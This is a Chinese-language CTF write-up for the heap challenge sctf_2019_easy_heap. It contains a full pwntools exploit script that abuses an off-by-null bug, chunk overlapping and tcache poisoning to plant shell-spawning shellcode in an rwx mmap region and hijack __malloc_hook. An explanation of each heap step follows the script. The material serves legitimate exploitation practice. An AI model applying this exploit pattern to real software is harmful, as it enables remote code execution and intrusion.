64位tcachebin attack+off by null+chunk overlapping,保护全开
但是存在mmap开辟了一段rwx权限的空间并在程序一开始泄露出来;
此题标准菜单,没有uaf没有堆溢出,但是fill函数里面存在off by null
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=remote("node4.buuoj.cn",27185)
# io=process("./sctf_2019_easy_heap")
elf=ELF("./sctf_2019_easy_heap")
def alloc(n):
io.sendlineafter(b">> ",b"1")
io.sendlineafter(b"Size: ",str(n))
def delete(n):
io.sendlineafter(b">> ",b"2")
io.sendlineafter(b"Index: ",str(n))
def fill(n,c):
io.sendlineafter(b">> ",b"3")
io.sendlineafter(b"Index: ",str(n))
io.sendafter(b"Content: ",c)
io.recvuntil(b"Mmap: ")
mmap=int(io.recv(12),16)
print("mmap: "+hex(mmap))
alloc(0x420) #0
alloc(0x38) #1
alloc(0x28) #2
alloc(0x4f0) #3
alloc(0x10) #4
delete(0)
payload=cyclic(0x20)+p64(0x4a0)
fill(2,payload)
delete(3)
delete(1)
delete(2)
alloc(0x460) #0
# gdb.attach(io)
# pause()
alloc(0x520) #1
payload=cyclic(0x420)+p64(0)+p64(0x41)+p64(mmap)
fill(0,payload+b"\n")
alloc(0x38) #2
alloc(0x38) #3
payload=asm(shellcraft.sh())
fill(3,payload+b"\n")
fill(1,b"\x30\n")
alloc(0x28) #5
alloc(0x28) #6
payload=p64(mmap)
fill(6,payload+b"\n")
io.sendlineafter(b">> ",b"1")
io.sendlineafter(b"Size: ",b"1")
print("asd "+hex(mmap))
io.interactive()
这里我们申请5个chunk,最后一个chunk申请防止后续进行unlink操作时候后向chunk与top chunk合并;
chunk 0和chunk 3大小均大于0x410,否则释放时会被放进tcachebin而不是 unsortedbin中,,首先释放chunk 0,然后修改chunk 3的presize以准备unlink操作(通过fill chunk 2实现,溢出\x00
将0x501
修改为0x500
,此时释放chunk 3 ,可以看到0123都被合并
,
然后释放1,2堆块
此时我们再分配两个堆块,分别包含0和1,2和3,以实现chunk overlapping,
接下来,修改0,1堆块,堆块0将next指针修改为mmap地址,堆块1将next指针低位字节修改为\x30
使其指向malloc_hook;
接下来就是tcachebin attack过程了,分配堆块到指定内存地址上进行读写,mmap地址写入shellcode,malloc_hook上写入mmap地址;
最后出发malloc_hook,执行shellcode来getshell